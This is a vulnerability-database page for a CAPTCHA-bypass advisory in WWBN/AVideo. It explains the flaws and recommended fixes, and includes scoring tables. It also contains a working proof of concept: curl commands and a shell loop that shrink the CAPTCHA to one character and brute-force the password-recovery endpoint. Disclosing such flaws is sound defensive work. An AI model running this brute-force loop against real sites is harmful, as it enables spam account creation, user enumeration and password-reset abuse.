Advisory details:
github_osv / GHSA-hg7g-56h5-5pqr
| Advisory ID | github_osv/GHSA-hg7g-56h5-5pqr |
| Aliases |
CVE-2026-40935
|
| Summary | CAPTCHA Bypass in WWBN/AVideo via Attacker-Controlled Length Parameter and Missing Token Invalidation on Failure ## Summary `objects/getCaptcha.php` accepts the CAPTCHA length (`ql`) directly from the query string with no clamping or sanitization, letting any unauthenticated client force the server to generate a 1-character CAPTCHA word. Combined with a case-insensitive `strcasecmp` comparison over a ~33-character alphabet and the fact that failed validations do NOT consume the stored session token, an attacker can trivially brute-force the CAPTCHA on any endpoint that relies on `Captcha::validation()` (user registration, password recovery, contact form, etc.) in at most ~33 requests per session. ## Details Three cooperating flaws in `objects/getCaptcha.php` and `objects/captcha.php` reduce CAPTCHA protection to a deterministic bypass. ### 1. External control of CAPTCHA strength (`objects/getCaptcha.php:7`) ```php $largura = empty($_GET['l']) ? 120 : $_GET['l']; $altura = empty($_GET['a']) ? 40 : $_GET['a']; $tamanho_fonte = empty($_GET['tf']) ? 18 : $_GET['tf']; $quantidade_letras = empty($_GET['ql']) ? 5 : $_GET['ql']; // attacker-controlled $capcha = new Captcha($largura, $altura, $tamanho_fonte, $quantidade_letras); $capcha->getCaptchaImage(); ``` There is no minimum, no type-check, and no clamping. Requesting `/objects/getCaptcha.php?ql=1` causes the server to generate a single-character word and save it to the attacker's own PHP session. ### 2. Small alphabet stored in the session (`objects/captcha.php:33-39`) ```php $letters = 'AaBbCcDdEeFfGgHhIiJjKkLlMmNnPpQqRrSsTtUuVvYyXxWwZz23456789'; $palavra = substr(str_shuffle($letters), 0, ($this->quantidade_letras)); if (User::isAdmin() && empty($_REQUEST['forceCaptcha'])) { $palavra = "admin"; } _session_start(); $_SESSION["palavra"] = $palavra; ``` After case-folding the alphabet is 25 letters (A–Z minus `O`) plus digits `2-9`, i.e. 33 unique values. For an unauthenticated attacker the admin branch at line 35 is unreachable, so the value is purely random over that 33-symbol set. ### 3. Weak comparison and token NOT invalidated on failure (`objects/captcha.php:58-75`) ```php public static function validation($word) { if (User::isAdmin() && $_SESSION["palavra"] === 'admin') { return true; } _session_start(); if (empty($_SESSION["palavra"])) { _error_log("Captcha validation Error: you type ({$word}) and session is empty ..."); return false; } $validation = (strcasecmp($word, $_SESSION["palavra"]) == 0); if (!$validation) { _error_log("Captcha validation Error: you type ({$word}) and session is ({$_SESSION["palavra"]}) ..."); } else { unset($_SESSION["palavra"]); // Consume the captcha token to prevent reuse } return $validation; } ``` Two problems here: * `strcasecmp` is case-insensitive, collapsing the alphabet to ~33 distinct values. * `unset($_SESSION["palavra"])` only runs in the **success** branch. Every failed guess leaves the stored word intact, so the same session can be retried against the same stored answer until it matches. ### Reachability `Captcha::validation()` is invoked from unauthenticated entry points including: * `objects/userCreate.json.php:38` — user registration (`Captcha::validation($_POST['captcha'])`) * `objects/userRecoverPass.php:31` — password recovery * `objects/sendEmail.json.php:10` — public contact email * `plugin/API/API.php:4243` and `:5684` — public API endpoints * `plugin/CustomizeUser/donate.json.php:62`, `confirmDeleteUser.json.php:15` * `plugin/YPTWallet/view/transferFunds.json.php:25` None of these require authentication for the CAPTCHA check to matter — they rely on it exactly because they're exposed to anonymous or lightly-authenticated callers. ## PoC Attacker flow against an unauthenticated signup/recovery endpoint: Step 1 — Weaken the CAPTCHA to one character and install it in the attacker's own PHP session: ``` curl -c jar -s 'https://target/objects/getCaptcha.php?ql=1' -o /dev/null ``` Step 2 — Brute-force the single-character answer. Because failed attempts do NOT reset `$_SESSION["palavra"]`, the same cookie jar is reused and the same stored value is checked against each guess: ``` for c in a b c d e f g h i j k l m n p q r s t u v w x y z 2 3 4 5 6 7 8 9; do code=$(curl -b jar -s -o /tmp/r -w '%{http_code}' -X POST \ 'https://target/objects/userRecoverPass.php' \ --data-urlencode 'user=victim' \ --data-urlencode 'recoverpass=1' \ --data-urlencode "captcha=$c") if ! grep -q 'Your code is not valid' /tmp/r; then echo "HIT with captcha=$c"; break fi done ``` * Worst case: 33 POSTs per session to pass the CAPTCHA once. * With `ql=2` the keyspace is ~1089 — still trivial and more robust against any edge cases involving `empty()` on a single-digit word. * The same technique works against `userCreate.json.php`, `sendEmail.json.php`, and every other `Captcha::validation()` caller. Observed behavior on the local instance: each wrong guess returns `"Your code is not valid"` without rotating `$_SESSION["palavra"]`; the logged `session is (<char>)` message in `_error_log` stays the same across all failed attempts in a session, confirming the token is not rotated. ## Impact CAPTCHA is the only "are you human" control on several anonymous endpoints. Reducing it to a deterministic ≤33-try bypass enables: * **Automated account creation / spam signups** via `userCreate.json.php`. * **User enumeration / password-reset spamming** via `userRecoverPass.php`. * **Unsolicited email abuse** via `sendEmail.json.php`. * **Comment / donation / wallet abuse** on plugin endpoints that rely on `Captcha::validation`. It does not by itself leak secrets or grant privileges, hence Integrity:Low (abuse of an intended rate-limiting/anti-bot control) with no direct Confidentiality/Availability impact. ## Recommended Fix Three coordinated changes in `objects/getCaptcha.php` and `objects/captcha.php`: 1. Clamp `ql` (and ideally the other image params) to a safe server-side range: ```php // objects/getCaptcha.php $quantidade_letras = isset($_GET['ql']) ? (int)$_GET['ql'] : 5; $quantidade_letras = max(5, min(8, $quantidade_letras)); ``` 2. Always consume the stored CAPTCHA answer on any validation attempt (success or failure) so each guess costs one fresh `getCaptcha.php` round-trip: ```php // objects/captcha.php::validation() _session_start(); if (empty($_SESSION["palavra"])) { return false; } $stored = $_SESSION["palavra"]; unset($_SESSION["palavra"]); // always consume, regardless of outcome if (User::isAdmin() && $stored === 'admin') { return true; } return strcasecmp($word, $stored) === 0; ``` 3. Use a CSPRNG for word generation instead of `str_shuffle`, e.g.: ```php $palavra = ''; $len = strlen($letters); for ($i = 0; $i < $this->quantidade_letras; $i++) { $palavra .= $letters[random_int(0, $len - 1)]; } ``` Optionally also add an application-level rate limit (per IP / per session) on all endpoints that call `Captcha::validation()` as defense in depth. |
| Status | Published |
| Exploitability | 0.5 |
| Weighted Severity | 4.8 |
| Risk | 2.4 |
| Affected and Fixed Packages | Package Details |
| Introduced and Fixed Package Commit Patches | Package Commit Patches Details |
| CWE-804 | Guessable CAPTCHA |
| System | Score | Found at |
|---|---|---|
| cvssv3.1 | 5.3 | https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-hg7g-56h5-5pqr/GHSA-hg7g-56h5-5pqr.json |
| generic_textual | MODERATE |
No EPSS data available for this advisory.
| Patch URL | |
|---|---|
| There are no known patches. | |
| Attack Vector (AV) | Attack Complexity (AC) | Privileges Required (PR) | User Interaction (UI) | Scope (S) | Confidentiality Impact (C) | Integrity Impact (I) | Availability Impact (A) |
|---|---|---|---|---|---|---|---|
network adjacent_network local physical |
low high |
none low high |
none required |
unchanged changed |
high low none |
high low none |
high low none |
Vector: SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-22T18:34:39Z/
Decision: Track
Source URL: https://github.com/cisagov/vulnrichment/blob/develop/2026/40xxx/CVE-2026-40935.json
Source Advisory: vulnrichment/CVE-2026-40935
[{'Exploitation': 'poc'},
{'Automatable': 'yes'},
{'Technical Impact': 'partial'},
{'Mission Prevalence': 'minimal'},
{'Public Well-being Impact': 'material'},
{'Mission & Well-being': 'medium'}]